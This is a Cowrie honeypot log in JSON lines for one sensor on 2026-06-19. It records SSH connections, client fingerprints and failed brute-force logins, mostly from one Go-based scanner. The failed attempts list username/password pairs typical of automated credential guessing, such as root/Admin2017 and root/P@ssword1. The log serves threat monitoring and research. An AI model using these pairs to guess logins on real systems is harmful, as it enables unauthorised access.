{"eventid":"cowrie.login.failed","username":"root","password":"Admin2017","message":"login attempt [root/Admin2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:37.520796Z","src_ip":"27.71.230.31","session":"1833a5191e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:38.475429Z","src_ip":"91.92.42.227","session":"6d1a55f02b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:39.777052Z","src_ip":"27.71.230.31","session":"1833a5191e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:40.312852Z","src_ip":"91.92.42.227","session":"6d1a55f02b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56104,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ef13538f701","protocol":"ssh","message":"New connection: 91.92.42.227:56104 (10.17.0.5:22) [session: 4ef13538f701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:41.117759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:41.854525Z","src_ip":"91.92.42.227","session":"4ef13538f701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:41.856607Z","src_ip":"91.92.42.227","session":"4ef13538f701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:45.830502Z","src_ip":"91.92.42.227","session":"4ef13538f701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:47.717823Z","src_ip":"91.92.42.227","session":"4ef13538f701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45156,"dst_ip":"10.17.0.5","dst_port":22,"session":"e90bf41b7745","protocol":"ssh","message":"New connection: 91.92.42.227:45156 (10.17.0.5:22) [session: e90bf41b7745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:47.854578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:48.743270Z","src_ip":"91.92.42.227","session":"e90bf41b7745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:48.746963Z","src_ip":"91.92.42.227","session":"e90bf41b7745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:53.631510Z","src_ip":"91.92.42.227","session":"e90bf41b7745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45160,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d88fc0c49d","protocol":"ssh","message":"New connection: 91.92.42.227:45160 (10.17.0.5:22) [session: 29d88fc0c49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:54.155917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:55.704388Z","src_ip":"91.92.42.227","session":"29d88fc0c49d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:55.708773Z","src_ip":"91.92.42.227","session":"29d88fc0c49d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:54:56.333975Z","src_ip":"91.92.42.227","session":"e90bf41b7745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:00.715158Z","src_ip":"91.92.42.227","session":"29d88fc0c49d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44038,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6ca4973adab","protocol":"ssh","message":"New connection: 91.92.42.227:44038 (10.17.0.5:22) [session: f6ca4973adab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:01.491143Z"}
{"eventid":"cowrie.session.closed","duration":35.21400237083435,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:02.352934Z","src_ip":"172.81.62.90","session":"5dca3ff56582","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:02.506386Z","src_ip":"91.92.42.227","session":"f6ca4973adab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:02.509992Z","src_ip":"91.92.42.227","session":"f6ca4973adab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:03.134188Z","src_ip":"91.92.42.227","session":"29d88fc0c49d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:05.767845Z","src_ip":"91.92.42.227","session":"f6ca4973adab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:07.276812Z","src_ip":"91.92.42.227","session":"f6ca4973adab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45596,"dst_ip":"10.17.0.5","dst_port":22,"session":"26b33a3f1db1","protocol":"ssh","message":"New connection: 91.92.42.227:45596 (10.17.0.5:22) [session: 26b33a3f1db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:10.193822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:10.438900Z","src_ip":"91.92.42.227","session":"26b33a3f1db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:10.443035Z","src_ip":"91.92.42.227","session":"26b33a3f1db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:11.482622Z","src_ip":"91.92.42.227","session":"26b33a3f1db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:12.663929Z","src_ip":"91.92.42.227","session":"26b33a3f1db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38164,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3dd50688582","protocol":"ssh","message":"New connection: 91.92.42.227:38164 (10.17.0.5:22) [session: c3dd50688582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:17.392046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:17.414694Z","src_ip":"91.92.42.227","session":"c3dd50688582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:17.489700Z","src_ip":"91.92.42.227","session":"c3dd50688582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:18.059335Z","src_ip":"91.92.42.227","session":"c3dd50688582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:19.281864Z","src_ip":"91.92.42.227","session":"c3dd50688582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40268,"dst_ip":"159.203.135.109","dst_port":22,"session":"f14e1f1e7d30","protocol":"ssh","message":"New connection: 168.167.228.74:40268 (159.203.135.109:22) [session: f14e1f1e7d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:20.845464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:20.849248Z","src_ip":"168.167.228.74","session":"f14e1f1e7d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:21.109588Z","src_ip":"168.167.228.74","session":"f14e1f1e7d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khan","password":"123456","message":"login attempt [khan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:22.190766Z","src_ip":"168.167.228.74","session":"f14e1f1e7d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:23.463323Z","src_ip":"168.167.228.74","session":"f14e1f1e7d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38208,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3360498d358","protocol":"ssh","message":"New connection: 91.92.42.227:38208 (10.17.0.5:22) [session: c3360498d358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:24.028434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:24.168777Z","src_ip":"91.92.42.227","session":"c3360498d358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:24.172021Z","src_ip":"91.92.42.227","session":"c3360498d358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:25.394013Z","src_ip":"91.92.42.227","session":"c3360498d358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:26.700900Z","src_ip":"91.92.42.227","session":"c3360498d358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36100,"dst_ip":"10.17.0.5","dst_port":22,"session":"756066e69a50","protocol":"ssh","message":"New connection: 91.92.42.227:36100 (10.17.0.5:22) [session: 756066e69a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:30.607903Z"}
